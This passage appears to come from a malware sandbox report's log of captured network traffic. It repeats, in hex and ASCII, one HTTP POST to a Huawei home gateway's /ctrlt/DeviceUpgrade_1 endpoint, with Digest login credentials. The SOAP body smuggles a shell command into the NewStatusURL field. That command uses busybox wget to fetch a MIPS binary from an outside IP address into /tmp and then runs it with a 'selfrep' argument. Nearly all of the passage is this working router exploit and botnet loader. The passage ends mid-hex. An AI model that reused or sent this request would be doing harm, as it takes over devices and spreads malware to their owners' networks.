74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 